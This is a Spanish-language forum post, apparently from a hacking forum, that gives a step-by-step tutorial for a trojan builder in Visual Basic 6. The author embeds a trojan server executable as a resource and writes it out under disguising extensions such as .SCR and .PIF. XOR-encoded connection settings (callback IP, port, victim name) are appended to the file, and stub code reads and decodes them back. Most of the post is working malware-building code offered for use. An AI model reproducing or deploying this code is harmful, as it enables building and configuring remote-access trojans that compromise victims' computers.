TE TRAIGO LA SALUCION
 
----------------------------------------
hola yo al tema ya lo avia posteado pero no me dieron solucion . me rebente la cabeza mirando ejemplos q estban en chino jajaj  hasta q comprendi

------------------------
1) vas  ala parte q dice add-ins (en el manu de arriva) y selecionas donde dice add-in manager
te aparece un cartel. te vas a lo asi ultimo y hay uno q dice vb 6 resurce editor , le haces doble clic
hasta q dice loaded ( cargado ) le das ok
por ultimo te aparece un cartel con una carpeta de dice "custom"
te vas a mano derecha del simbolo de interrogacion (?)   y  a la mano derecha de la imagen con captus  q hay unos cuadraditos . le das clic y te aparece
el cartel para elegir el archivo . elegis el servidor ( el troyano) .exe  le das ok y te queda cargado el related documen al archivo q dice custom
le das clic  y te aparece un "fsg" . le das clic  y te aparece un cartel
q dice

type :  "CUSTOM"
id : "FSG"
leguaje : español (argentina)
 
 y listo te queda cargado haora bamos al codigo presta atencion
------------------------------------------------ -------------------------
' declaramos variables q le metemos al server  y el server lo recibe
'agregas un CommonDialog
' dos cajas de  texto  text1 , text2 y un Command1




Private Const BVICTIMNAME As String = "/BVIC"
Private Const EVICTIMNAME As String = "EVIC\"
Private Const BICQUIN As String = "/BUIN"
Private Const EICQUIN As String = "EUIN\"

Dim strPath As String  
    Dim arrServer() As Byte  ' declaramos varibles
    Dim intFile As Integer  
    With CommonDialog1    '
        .Filter = "*.EXE" & "*.BAT" & "*.SCR" & "*.PIF" & "*.COM" & "*.CMD"
        .InitDir = App.Path
        .DefaultExt = ".EXE"
        .DialogTitle = "Save Server As"
        .ShowSave          
        strPath = .FileName
    End With
    arrServer = LoadResData("FSG", "CUSTOM")   ' bariable q utilizaremos para cagar el .res
    
    
    intFile = FreeFile() ' variable para el file

Open strPath For Binary As #intFile 'abrimos el file ( el lugar)
        
        Put #intFile, 1, arrServer
          
   Put #intFile, , BEGIN           '
       Put #intFile, , BVICTIMNAME
        Put #intFile, , encdec(Text1.Text)  ' ak metemos los datos del text1 (podrias ser q hay metas la ip)
        
        Put #intFile, , EVICTIMNAME
 
        Put #intFile, , BICQUIN
        Put #intFile, , encdec(Text2.Text) ' ak metemos los datos del text2 (podrias ser q hay metas el puerto)
        Put #intFile, , EICQUIN
        
Close #intFile ' cerramos la sentencia
''''''''''
Function encdec(inputstrinG As String) As String           ' ak ponemos la funcion encodec
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function
````````````````````````````````````````````````````
' pone esto en un modulo
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

'''''''''''''''
'''''''''**************************************************

 LISTO HAORA PASAMOS AL SERVIDOR  

-------------------------------------------------------------------
' COLOCA ESTO EN UN MODULO
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Function FullAppName() As String
  Dim modName As String * 256
  Dim i As Long
  i = GetModuleFileName(App.hInstance, modName, Len(modName))
  FullAppName = Left$(modName, i)
End Function


'''''''''''''''''
ESTO COLOCALO EN EN FORM

Dim Svicname As String ' Str
Dim intFile As Integer
Dim strTemp As String
Dim SettingStart As Long
Dim SettingEnd   As Long
Dim Durl As String
Dim thefilen As String

Dim RecBytes As Long
Dim FUsize As Long
Dim Sicquin As String
'''''''''''
Private Sub Form_Load()
RecBytes = 0

   intFile = FreeFile()
    
    Open FullAppName For Binary As #intFile

strTemp = String$(LOF(intFile), Chr$(0))
Get #intFile, 1, strTemp                                  'CARGAMOS EL SERVER A LA MEMORIA
    Close #intFile

    SettingStart = InStr(1, strTemp, "/BEG")
    SettingEnd = InStr(1, strTemp, "END\")

FindSetting "/BVIC", "EVIC\", Svicname ' TIPOS DE VARIBLES Q DIGIMOS Q LE IVAMOS A METER AL SERVER
FindSetting "/BUIN", "EUIN\", Sicquin





Select Case Svicname             '''''''''''''''''''

Case "Disabled"

Case Else

Text1.Text = Svicname         ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT1 DEL CLIENTE  LA IP A CONECTAR

End Select

Select Case Sicquin

Case "Disabled"

Case Else
Text2.Text = Sicquin   ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT2 DEL CLIENTE  EL PUERTO

End Select

END SUB
 
Sub FindSetting(ByVal SStart As String, send As String, SString As String)
On Error Resume Next
    SettingStart = InStr(1, strTemp, SStart) ' find the start of what setting we want
    SettingEnd = InStr(1, strTemp, send) ' find the end
    SString = Mid$(strTemp, SettingStart + 5, SettingEnd - SettingStart - 5) ' the setting = - the markers
    SString = encdec(SString)
   
End Sub
Function encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s ' funcion para decodificarlos
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function

'''''''''''''''''''''''''''

SALUDOS BY REMBOLSO ESPERO Q TE AYA AYUDADO  . YA Q AMI NO ME AYUDO NADIE JAJAJ